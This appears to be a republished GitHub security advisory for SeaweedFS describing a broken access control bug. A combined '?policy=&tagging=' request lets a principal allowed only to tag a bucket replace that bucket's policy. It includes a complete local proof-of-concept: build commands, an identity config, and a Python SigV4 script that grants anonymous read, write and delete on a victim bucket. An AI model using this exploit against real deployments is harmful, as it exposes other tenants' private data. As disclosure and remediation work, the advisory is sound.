GHSA-MGV5-VF6W-3H85
Ambiguous S3 subresource query lets a bucket tagger replace the bucket policy
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MGV5-VF6W-3H85 divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Ambiguous S3 subresource query lets a bucket tagger replace the bucket policy
Summary
SeaweedFS routes an S3 `PUT` containing both `policy` and `tagging` subresources to the bucket-policy handler, while its IAM action resolver authorizes the same request only as `s3:PutBucketTagging`. A low-privilege principal delegated tag management on another tenant's bucket can therefore install an arbitrary bucket policy. The reproduced policy exposed a previously private victim object to an anonymous request.
Impact and affected scope
- Type: Broken access control
- Affected component: SigV4-authenticated SeaweedFS S3 gateway bucket subresource handling
- Preconditions: A valid S3 identity with `s3:PutBucketTagging` on the victim bucket but no bucket-policy permission
- Verified revision: `8dcdb70594ae9e9c2ac07aa6d497f38d8c580448` on 27 August 2026
- Affected release range: `<= 4.44`, as entered by the maintainer; patched version not yet specified
The demonstrated policy granted anonymous read, write, and delete actions to the victim bucket's objects. The report does not claim impact outside the affected bucket authorization boundary.
Technical details
Gorilla routing selects the bucket-policy handler because the `policy` route is registered first and still matches when extra query keys are present. The independently ordered action resolver checks `tagging` first, so IAM authorizes only `s3:PutBucketTagging`. The selected policy handler then persists the supplied policy without a second policy-management check.
Relevant code:
- `weed/s3api/s3api_server.go:899` — registers the bucket subresource routes.
- `weed/s3api/s3_action_resolver.go:148,196` — resolves the ambiguous request as tag management.
- `weed/s3api/s3_iam_middleware.go:304` and `weed/s3api/auth_credentials.go:2659` — authorize the resolved action.
- `weed/s3api/s3api_bucket_policy_handlers.go:73,239` — stores and applies the policy body.
Reproduction
Run this only on an authorized disposable host with Go 1.26 and Python 3. Build the verified revision:
git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout 8dcdb70594ae9e9c2ac07aa6d497f38d8c580448
go build -trimpath -o weed-poc ./weed
mkdir -p poc-data poc-tmpSave this as `s3-poc.json`:
{
"identities": [
{
"name": "victim-admin",
"credentials": [
{"accessKey": "victim-admin", "secretKey": "victim-secret"}
],
"actions": ["Admin"]
},
{
"name": "tagger",
"credentials": [
{"accessKey": "tagger", "secretKey": "tagger-secret"}
],
"policyNames": ["VictimTagOnly"]
}
],
"policies": [
{
"name": "VictimTagOnly",
"content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:PutBucketTagging\"],\"Resource\":[\"arn:aws:s3:::victim-bucket\"]}]}"
}
]
}Start the real mini deployment:
TMPDIR="$PWD/poc-tmp" WEED_TELEMETRY=false ./weed-poc mini \
-dir="$PWD/poc-data" \
-ip=127.0.0.1 -ip.bind=127.0.0.1 \
-master.port=19333 -volume.port=19340 -filer.port=18888 \
-s3.port=18333 -s3.port.iceberg=0 -s3.port.lance=0 \
-s3.config="$PWD/s3-poc.json" -metricsPort=19326 \
-webdav=false -admin.ui=false -master.telemetry=false \
-master.volumeSizeLimitMB=64 -volume.preStopSeconds=0 \
>seaweedfs-poc.log 2>&1 &Save this as `verify_policy_query.py`:
#!/usr/bin/env python3
from __future__ import annotations
import datetime
import hashlib
import hmac
import http.client
import json
import sys
import time
import urllib.parse
HOST = "127.0.0.1"
PORT = 18333
REGION = "us-east-1"
SERVICE = "s3"
def _sign(key: bytes, message: str) -> bytes:
return hmac.new(key, message.encode(), hashlib.sha256).digest()
def request(method: str, path: str, query: list[tuple[str, str]] | None = None,
body: bytes = b"", access: str | None = None,
secret: str | None = None) -> tuple[int, bytes]:
query = query or []
canonical_query = "&".join(
f"{urllib.parse.quote(k, safe='-_.~')}={urllib.parse.quote(v, safe='-_.~')}"
for k, v in sorted(query)
)
target = path + (("?" + canonical_query) if canonical_query else "")
headers = {"Host": f"{HOST}:{PORT}"}
if access is not None and secret is not None:
now = datetime.datetime.now(datetime.timezone.utc)
amz_date = now.strftime("%Y%m%dT%H%M%SZ")
day = now.strftime("%Y%m%d")
payload_hash = hashlib.sha256(body).hexdigest()
canonical_headers = (
f"host:{HOST}:{PORT}\n"
f"x-amz-content-sha256:{payload_hash}\n"
f"x-amz-date:{amz_date}\n"
)
signed_headers = "host;x-amz-content-sha256;x-amz-date"
canonical_request = "\n".join([
method, path, canonical_query, canonical_headers,
signed_headers, payload_hash,
])
scope = f"{day}/{REGION}/{SERVICE}/aws4_request"
string_to_sign = "\n".join([
"AWS4-HMAC-SHA256", amz_date, scope,
hashlib.sha256(canonical_request.encode()).hexdigest(),
])
key_date = _sign(("AWS4" + secret).encode(), day)
key_region = _sign(key_date, REGION)
key_service = _sign(key_region, SERVICE)
key_signing = _sign(key_service, "aws4_request")
signature = hmac.new(
key_signing, string_to_sign.encode(), hashlib.sha256
).hexdigest()
headers.update({
"x-amz-content-sha256": payload_hash,
"x-amz-date": amz_date,
"Authorization": (
f"AWS4-HMAC-SHA256 Credential={access}/{scope}, "
f"SignedHeaders={signed_headers}, Signature={signature}"
),
})
conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
conn.request(method, target, body=body, headers=headers)
response = conn.getresponse()
data = response.read()
status = response.status
conn.close()
return status, data
def require(label: str, actual: int, expected: int, body: bytes) -> None:
print(f"{label}: HTTP {actual}")
if actual != expected:
print(body.decode(errors="replace"), file=sys.stderr)
raise SystemExit(f"expected HTTP {expected} for {label}, got {actual}")
def main() -> None:
for _ in range(90):
try:
status, _ = request("GET", "/")
if status:
break
except OSError:
time.sleep(1)
else:
raise SystemExit("S3 endpoint did not become ready")
owner = ("victim-admin", "victim-secret")
attacker = ("tagger", "tagger-secret")
secret_value = b"POC_VICTIM_SECRET_87915324\n"
policy = json.dumps({
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::victim-bucket/*",
}],
}, separators=(",", ":")).encode()
status, body = request("PUT", "/victim-bucket", access=owner[0], secret=owner[1])
require("owner creates victim bucket", status, 200, body)
status, body = request(
"PUT", "/victim-bucket/secret.txt", body=secret_value,
access=owner[0], secret=owner[1]
)
require("owner uploads confidential object", status, 200, body)
status, body = request(
"GET", "/victim-bucket/secret.txt", access=attacker[0], secret=attacker[1]
)
require("tag-only attacker read baseline", status, 403, body)
status, body = request("GET", "/victim-bucket/secret.txt")
require("anonymous read baseline", status, 403, body)
status, body = request(
"PUT", "/victim-bucket", [("policy", "")], policy,
attacker[0], attacker[1]
)
require("plain policy update baseline", status, 403, body)
status, body = request(
"PUT", "/victim-bucket", [("policy", ""), ("tagging", "")], policy,
attacker[0], attacker[1]
)
require("ambiguous policy+tagging request", status, 204, body)
status, body = request("GET", "/victim-bucket/secret.txt")
require("anonymous read after request", status, 200, body)
if body != secret_value:
raise SystemExit(f"unexpected object body: {body!r}")
print("POC_SUCCESS: tag-only identity installed a bucket policy")
if __name__ == "__main__":
main()Run:
python3 verify_policy_query.pyThe verified run observed HTTP 403 for the tag-only object read, anonymous read, and ordinary `?policy` update. The ambiguous `?policy=&tagging=` request returned HTTP 204, after which the unsigned object read returned HTTP 200 with the exact private proof value.
Expected: routing and authorization must select the same subresource, and tag-only permission must not replace the bucket policy.
Observed: the request was handled as policy replacement but authorized as tag management, changing anonymous access.
Suggested remediation
Canonicalize and validate the subresource set before both routing and authorization. Reject requests containing conflicting action-bearing subresources, and make the policy handler perform an explicit bucket-policy permission check as defense in depth.
Severity
CVSS v4.0: 8.7 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation.
Disclosure context and attribution
AI tools helped surface this potential issue. We independently reviewed the evidence and reproduced it against the pinned revision before submitting it privately through SeaweedFS's required channel.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-mgv5-vf6w-3h85Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
